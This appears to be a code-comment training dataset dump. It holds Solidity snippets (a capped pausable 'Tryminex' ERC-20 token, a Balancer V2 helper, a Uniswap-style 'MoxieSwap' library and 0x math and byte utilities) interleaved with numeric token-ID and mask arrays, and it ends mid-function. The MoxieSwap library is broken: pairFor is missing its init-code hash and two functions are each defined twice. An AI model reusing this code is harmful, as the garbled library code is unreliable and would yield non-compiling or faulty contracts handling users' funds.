the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract CappedToken is MintableToken { uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract TryminexToken is CappedToken, PausableToken { string public constant name = "Tryminex Token"; // solium-disable-line uppercase string public constant symbol = "TMX"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 0; uint256 public constant MAX_SUPPLY = 100 * 10000 * 10000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() CappedToken(MAX_SUPPLY) public { totalSupply_ = MAX_SUPPLY; balances[msg.sender] = MAX_SUPPLY; emit Transfer(0x0, msg.sender, MAX_SUPPLY); } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint whenNotPaused public returns (bool) { return super.mint(_to, _amount); } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint whenNotPaused public returns (bool) { return super.finishMinting(); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner whenNotPaused public { super.transferOwnership(newOwner); } /** * The fallback function. */ function() payable public { revert(); } }
solium-disable-line uppercase
string public constant symbol = "TMX";
6,720,696
[ 1, 18281, 5077, 17, 8394, 17, 1369, 18966, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 533, 1071, 5381, 3273, 273, 315, 56, 13874, 14432, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity =0.8.10; import "../../../interfaces/balancer/IVault.sol"; import "./MainnetBalancerV2Addresses.sol"; /// @title Utility functions and data used in Balancer actions contract BalancerV2Helper is MainnetBalancerV2Addresses{ IVault public constant vault = IVault(VAULT_ADDR); string public constant ADDR_MUST_NOT_BE_ZERO = "Address to which tokens will be sent to can't be burn address"; function _getPoolAddress(bytes32 poolId) internal pure returns (address) { // 12 byte logical shift left to remove the nonce and specialization setting. We don't need to mask, // since the logical shift already sets the upper bits to zero. return address(uint160(uint256(poolId) >> (12 * 8))); } }
@title Utility functions and data used in Balancer actions
contract BalancerV2Helper is MainnetBalancerV2Addresses{ IVault public constant vault = IVault(VAULT_ADDR); string public constant ADDR_MUST_NOT_BE_ZERO = "Address to which tokens will be sent to can't be burn address"; function _getPoolAddress(bytes32 poolId) internal pure returns (address) { return address(uint160(uint256(poolId) >> (12 * 8))); } }
12,952,949
[ 1, 6497, 4186, 471, 501, 1399, 316, 605, 5191, 4209, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 605, 5191, 58, 22, 2276, 353, 12740, 2758, 6444, 58, 22, 7148, 95, 203, 565, 467, 12003, 1071, 5381, 9229, 273, 467, 12003, 12, 27722, 2274, 67, 14142, 1769, 203, 565, 533, 1071, 5381, 11689, 54, 67, 49, 5996, 67, 4400, 67, 5948, 67, 24968, 273, 315, 1887, 358, 1492, 2430, 903, 506, 3271, 358, 848, 1404, 506, 18305, 1758, 14432, 203, 203, 203, 565, 445, 389, 588, 2864, 1887, 12, 3890, 1578, 2845, 548, 13, 2713, 16618, 1135, 261, 2867, 13, 288, 203, 3639, 327, 1758, 12, 11890, 16874, 12, 11890, 5034, 12, 6011, 548, 13, 1671, 261, 2138, 380, 1725, 3719, 1769, 203, 565, 289, 203, 97, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1313161554/0x1B991D143EEEb8830EA91ba0c11ceeA745fb9372/sources/MoxieSwapRouter02.sol
returns sorted token addresses, used to handle return values from pairs sorted in this order
library MoxieSwapLibrary { using SafeMathUniswap for uint; function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'MoxieSwapLibrary: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'MoxieSwapLibrary: ZERO_ADDRESS'); } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), )))); } function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IMoxieSwapPair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'MoxieSwapLibrary: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'MoxieSwapLibrary: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'MoxieSwapLibrary: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'MoxieSwapLibrary: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'MoxieSwapLibrary: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'MoxieSwapLibrary: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'MoxieSwapLibrary: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'MoxieSwapLibrary: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'MoxieSwapLibrary: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'MoxieSwapLibrary: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } }
16,928,721
[ 1, 6154, 3115, 1147, 6138, 16, 1399, 358, 1640, 327, 924, 628, 5574, 3115, 316, 333, 1353, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 490, 2409, 1385, 12521, 9313, 288, 203, 565, 1450, 14060, 10477, 984, 291, 91, 438, 364, 2254, 31, 203, 203, 203, 565, 445, 1524, 5157, 12, 2867, 1147, 37, 16, 1758, 1147, 38, 13, 2713, 16618, 1135, 261, 2867, 1147, 20, 16, 1758, 1147, 21, 13, 288, 203, 3639, 2583, 12, 2316, 37, 480, 1147, 38, 16, 296, 49, 2409, 1385, 12521, 9313, 30, 19768, 10109, 67, 8355, 7031, 1090, 55, 8284, 203, 3639, 261, 2316, 20, 16, 1147, 21, 13, 273, 1147, 37, 411, 1147, 38, 692, 261, 2316, 37, 16, 1147, 38, 13, 294, 261, 2316, 38, 16, 1147, 37, 1769, 203, 3639, 2583, 12, 2316, 20, 480, 1758, 12, 20, 3631, 296, 49, 2409, 1385, 12521, 9313, 30, 18449, 67, 15140, 8284, 203, 565, 289, 203, 203, 565, 445, 3082, 1290, 12, 2867, 3272, 16, 1758, 1147, 37, 16, 1758, 1147, 38, 13, 2713, 16618, 1135, 261, 2867, 3082, 13, 288, 203, 3639, 261, 2867, 1147, 20, 16, 1758, 1147, 21, 13, 273, 1524, 5157, 12, 2316, 37, 16, 1147, 38, 1769, 203, 3639, 3082, 273, 1758, 12, 11890, 12, 79, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 12, 203, 7734, 3827, 11, 1403, 2187, 203, 7734, 3272, 16, 203, 7734, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 12, 2316, 20, 16, 1147, 21, 13, 3631, 203, 5411, 262, 3719, 1769, 203, 565, 289, 203, 203, 565, 445, 31792, 264, 3324, 12, 2867, 3272, 16, 1758, 1147, 37, 16, 1758, 1147, 38, 13, 2713, 1476, 2 ]
pragma solidity 0.4.24; pragma experimental ABIEncoderV2; contract IERC20Token { // solhint-disable no-simple-event-func-name event Transfer( address indexed _from, address indexed _to, uint256 _value ); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); /// @dev send `value` token to `to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return True if transfer was successful function transfer(address _to, uint256 _value) external returns (bool); /// @dev send `value` token to `to` from `from` on the condition it is approved by `from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return True if transfer was successful function transferFrom( address _from, address _to, uint256 _value ) external returns (bool); /// @dev `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Always true if the call has enough gas to complete execution function approve(address _spender, uint256 _value) external returns (bool); /// @dev Query total supply of token /// @return Total supply of token function totalSupply() external view returns (uint256); /// @param _owner The address from which the balance will be retrieved /// @return Balance of owner function balanceOf(address _owner) external view returns (uint256); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) external view returns (uint256); } contract SafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require( c / a == b, "UINT256_OVERFLOW" ); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { require( b <= a, "UINT256_UNDERFLOW" ); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require( c >= a, "UINT256_OVERFLOW" ); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint256) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint256) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract LibMath is SafeMath { /// @dev Calculates partial value given a numerator and denominator rounded down. /// Reverts if rounding error is >= 0.1% /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to calculate partial of. /// @return Partial value of target rounded down. function safeGetPartialAmountFloor( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (uint256 partialAmount) { require( denominator > 0, "DIVISION_BY_ZERO" ); require( !isRoundingErrorFloor( numerator, denominator, target ), "ROUNDING_ERROR" ); partialAmount = safeDiv( safeMul(numerator, target), denominator ); return partialAmount; } /// @dev Calculates partial value given a numerator and denominator rounded down. /// Reverts if rounding error is >= 0.1% /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to calculate partial of. /// @return Partial value of target rounded up. function safeGetPartialAmountCeil( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (uint256 partialAmount) { require( denominator > 0, "DIVISION_BY_ZERO" ); require( !isRoundingErrorCeil( numerator, denominator, target ), "ROUNDING_ERROR" ); // safeDiv computes `floor(a / b)`. We use the identity (a, b integer): // ceil(a / b) = floor((a + b - 1) / b) // To implement `ceil(a / b)` using safeDiv. partialAmount = safeDiv( safeAdd( safeMul(numerator, target), safeSub(denominator, 1) ), denominator ); return partialAmount; } /// @dev Calculates partial value given a numerator and denominator rounded down. /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to calculate partial of. /// @return Partial value of target rounded down. function getPartialAmountFloor( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (uint256 partialAmount) { require( denominator > 0, "DIVISION_BY_ZERO" ); partialAmount = safeDiv( safeMul(numerator, target), denominator ); return partialAmount; } /// @dev Calculates partial value given a numerator and denominator rounded down. /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to calculate partial of. /// @return Partial value of target rounded up. function getPartialAmountCeil( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (uint256 partialAmount) { require( denominator > 0, "DIVISION_BY_ZERO" ); // safeDiv computes `floor(a / b)`. We use the identity (a, b integer): // ceil(a / b) = floor((a + b - 1) / b) // To implement `ceil(a / b)` using safeDiv. partialAmount = safeDiv( safeAdd( safeMul(numerator, target), safeSub(denominator, 1) ), denominator ); return partialAmount; } /// @dev Checks if rounding error >= 0.1% when rounding down. /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to multiply with numerator/denominator. /// @return Rounding error is present. function isRoundingErrorFloor( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (bool isError) { require( denominator > 0, "DIVISION_BY_ZERO" ); // The absolute rounding error is the difference between the rounded // value and the ideal value. The relative rounding error is the // absolute rounding error divided by the absolute value of the // ideal value. This is undefined when the ideal value is zero. // // The ideal value is `numerator * target / denominator`. // Let's call `numerator * target % denominator` the remainder. // The absolute error is `remainder / denominator`. // // When the ideal value is zero, we require the absolute error to // be zero. Fortunately, this is always the case. The ideal value is // zero iff `numerator == 0` and/or `target == 0`. In this case the // remainder and absolute error are also zero. if (target == 0 || numerator == 0) { return false; } // Otherwise, we want the relative rounding error to be strictly // less than 0.1%. // The relative error is `remainder / (numerator * target)`. // We want the relative error less than 1 / 1000: // remainder / (numerator * denominator) < 1 / 1000 // or equivalently: // 1000 * remainder < numerator * target // so we have a rounding error iff: // 1000 * remainder >= numerator * target uint256 remainder = mulmod( target, numerator, denominator ); isError = safeMul(1000, remainder) >= safeMul(numerator, target); return isError; } /// @dev Checks if rounding error >= 0.1% when rounding up. /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to multiply with numerator/denominator. /// @return Rounding error is present. function isRoundingErrorCeil( uint256 numerator, uint256 denominator, uint256 target ) internal pure returns (bool isError) { require( denominator > 0, "DIVISION_BY_ZERO" ); // See the comments in `isRoundingError`. if (target == 0 || numerator == 0) { // When either is zero, the ideal value and rounded value are zero // and there is no rounding error. (Although the relative error // is undefined.) return false; } // Compute remainder as before uint256 remainder = mulmod( target, numerator, denominator ); remainder = safeSub(denominator, remainder) % denominator; isError = safeMul(1000, remainder) >= safeMul(numerator, target); return isError; } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ library LibBytes { using LibBytes for bytes; /// @dev Gets the memory address for a byte array. /// @param input Byte array to lookup. /// @return memoryAddress Memory address of byte array. This /// points to the header of the byte array which contains /// the length. function rawAddress(bytes memory input) internal pure returns (uint256 memoryAddress) { assembly { memoryAddress := input } return memoryAddress; } /// @dev Gets the memory address for the contents of a byte array. /// @param input Byte array to lookup. /// @return memoryAddress Memory address of the contents of the byte array. function contentAddress(bytes memory input) internal pure returns (uint256 memoryAddress) { assembly { memoryAddress := add(input, 32) } return memoryAddress; } /// @dev Copies `length` bytes from memory location `source` to `dest`. /// @param dest memory address to copy bytes to. /// @param source memory address to copy bytes from. /// @param length number of bytes to copy. function memCopy( uint256 dest, uint256 source, uint256 length ) internal pure { if (length < 32) { // Handle a partial word by reading destination and masking // off the bits we are interested in. // This correctly handles overlap, zero lengths and source == dest assembly { let mask := sub(exp(256, sub(32, length)), 1) let s := and(mload(source), not(mask)) let d := and(mload(dest), mask) mstore(dest, or(s, d)) } } else { // Skip the O(length) loop when source == dest. if (source == dest) { return; } // For large copies we copy whole words at a time. The final // word is aligned to the end of the range (instead of after the // previous) to handle partial words. So a copy will look like this: // // #### // #### // #### // #### // // We handle overlap in the source and destination range by // changing the copying direction. This prevents us from // overwriting parts of source that we still need to copy. // // This correctly handles source == dest // if (source > dest) { assembly { // We subtract 32 from `sEnd` and `dEnd` because it // is easier to compare with in the loop, and these // are also the addresses we need for copying the // last bytes. length := sub(length, 32) let sEnd := add(source, length) let dEnd := add(dest, length) // Remember the last 32 bytes of source // This needs to be done here and not after the loop // because we may have overwritten the last bytes in // source already due to overlap. let last := mload(sEnd) // Copy whole words front to back // Note: the first check is always true, // this could have been a do-while loop. // solhint-disable-next-line no-empty-blocks for {} lt(source, sEnd) {} { mstore(dest, mload(source)) source := add(source, 32) dest := add(dest, 32) } // Write the last 32 bytes mstore(dEnd, last) } } else { assembly { // We subtract 32 from `sEnd` and `dEnd` because those // are the starting points when copying a word at the end. length := sub(length, 32) let sEnd := add(source, length) let dEnd := add(dest, length) // Remember the first 32 bytes of source // This needs to be done here and not after the loop // because we may have overwritten the first bytes in // source already due to overlap. let first := mload(source) // Copy whole words back to front // We use a signed comparisson here to allow dEnd to become // negative (happens when source and dest < 32). Valid // addresses in local memory will never be larger than // 2**255, so they can be safely re-interpreted as signed. // Note: the first check is always true, // this could have been a do-while loop. // solhint-disable-next-line no-empty-blocks for {} slt(dest, dEnd) {} { mstore(dEnd, mload(sEnd)) sEnd := sub(sEnd, 32) dEnd := sub(dEnd, 32) } // Write the first 32 bytes mstore(dest, first) } } } } /// @dev Returns a slices from a byte array. /// @param b The byte array to take a slice from. /// @param from The starting index for the slice (inclusive). /// @param to The final index for the slice (exclusive). /// @return result The slice containing bytes at indices [from, to) function slice( bytes memory b, uint256 from, uint256 to ) internal pure returns (bytes memory result) { require( from <= to, "FROM_LESS_THAN_TO_REQUIRED" ); require( to < b.length, "TO_LESS_THAN_LENGTH_REQUIRED" ); // Create a new bytes structure and copy contents result = new bytes(to - from); memCopy( result.contentAddress(), b.contentAddress() + from, result.length ); return result; } /// @dev Returns a slice from a byte array without preserving the input. /// @param b The byte array to take a slice from. Will be destroyed in the process. /// @param from The starting index for the slice (inclusive). /// @param to The final index for the slice (exclusive). /// @return result The slice containing bytes at indices [from, to) /// @dev When `from == 0`, the original array will match the slice. In other cases its state will be corrupted. function sliceDestructive( bytes memory b, uint256 from, uint256 to ) internal pure 